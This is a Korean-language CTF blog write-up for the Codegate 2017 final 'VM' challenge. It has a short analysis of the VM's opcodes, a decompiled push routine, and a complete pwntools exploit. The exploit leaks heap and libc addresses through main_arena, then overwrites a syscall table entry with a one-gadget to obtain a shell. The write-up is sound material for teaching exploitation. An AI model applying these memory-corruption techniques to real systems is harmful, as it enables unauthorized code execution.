ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Codegate 2017 final VM
    Pwnable/CTF 2018. 3. 22. 23:50

    비트 연산에 약한 탓에 분석 할때 너무 어려웠다..

    비트연산을 이용하여서 한자리 한자리 나누고 그 값이 몇인지 확인하면서 기능을 실행시킨다.

    info register, mov, add, sub, xor, swap, inc, dec, push, pop, syscall


    mov, push, syscall만 이용하여서 문제를 푼 것 같다.

    mov는 레지스터 배열에서 r0 r1 r2 ~ 인덱스를 받고 그곳에 값을 넣는 방식이고 push는 


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    __int64 __fastcall push(__int64 a1, __int64 a2, __int64 a3, int a4, int a5)
    {
      __int64 result; // rax
     
      *(_DWORD *)(a2 + 28-= 2;
      if ( a5 == -1 )
      {
        if ( a4 == -1 )
          abort();
        result = *(unsigned __int16 *)(4LL * a4 + a2);
        *(_WORD *)(*(signed int *)(a2 + 28+ a3) = result;
      }
      else
      {
        result = (unsigned __int16)a5;
        *(_WORD *)(a3 + *(signed int *)(a2 + 28)) = a5;
      }
      return result;
    }
    cs


    이런식으로 a2+28은 esp로 a1+48주소를 기준으로 esp를 더해서 내가 원하는 값을 넣는방식이다.
    syscall은 테이블 번호를 인자로 입력을받는데 이때 올바른 번호가 아니라면 bad function call을 실행시킨다.
    동적분석으로 브포를 걸어가면서 어떤 주소에서 호출하는지 알아내고 오프셋을 구하여서 oneshot을 실행시켜서 풀수있다.

    라이브러리 주소는 입력을 받을때 string에 입력받기 때문에 값을 많이 넣으면 malloc free를 반복하여서 main_arena를 릭을 할 수 있다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    from pwn import *
    import struct
     
    = process('./VM')
     
    def insert(cmd,arg0,arg1,arg2,arg3):
       payload = (cmd << 28)
       payload += (arg0 << 26)
       payload += (arg1 << 23)
       payload += (arg2 << 20)
       payload += 0xf0000
       payload += arg3
       payload = hex(payload)[2:]
       print payload
       p.sendline(payload)
       p.recv(1024)
    def view():
       p.sendline('0fff0000')
     
    def get():
       data = ''
       for i in range(8):
          temp = p.recvuntil(' ').split(' ')[0]
          data += temp
       p.recv(2048)
       return u64(p64(int(data,16))[::-1])
     
    insert(1,1,7,1,0x4090#7 sp
    view()
    p.recvuntil('0x4070 ')
    heap = get() - 0x15cd0
    ptr = heap + 0x11c20
    reg = ptr + 0x4030
    print hex(heap)
    print hex(ptr)
    print hex(reg)
    insert(8,2,0,5,0x0000)
    p.sendline('0fff0000'*20)
    insert(1,1,7,1,0x4380)
    view()
    p.recvuntil('0x4380 ')
    main_arena = get() - 88
    libc_base = main_arena - 0x3c4b20
    print hex(main_arena)
    print hex(libc_base)
    systable = ptr + 0x43d8
    print hex(systable)
    insert(1,1,7,1,(0x43d8-48+0x2 + 0x10))
    insert(8,3,1,1,0x1234)
    insert(1,1,0,0,0x3)
    target = ptr + 0x42a8
    print hex(target)
    one_shot = (libc_base + 0xf02a4)
    print hex(one_shot)
    insert(1,1,7,1,(0x42a8 + 0x2 -24 - 0xf0))
    insert(8,3,1,0,(one_shot & 0xffff))
    insert(1,1,7,1,(0x42a8 + 0x2 -22 - 0xf0))
    insert(8,3,1,0,((one_shot >> 16& 0xffff))
    insert(1,1,7,1,(0x42a8 + 0x2 - 20 - 0xf0))
    insert(8,3,1,0,((one_shot >> 32& 0xffff))
    insert(1,1,7,1,(0x42a8 + 0x2 -18 - 0xf0))
    insert(8,3,1,0,((one_shot >> 48& 0xffff))
     
    p.sendline('acff0000')
     
    p.interactive()
    cs



    >>은 4byte당 한 글자식 잘라준다.

    & 0xff 를 이용하여서 뒤에 글자만 뽑아낼 수 있다.

    'Pwnable > CTF' 카테고리의 다른 글

    Codegate 2017 JsWorld  (0) 2018.05.10
    Codegate 2018 Final  (0) 2018.04.10
    Codegate 2017 final petshop  (0) 2018.03.22
    Codegate 2015 final yocto  (0) 2018.02.21
    Codegate 2018 zoo  (0) 2018.02.11
Designed by Tistory.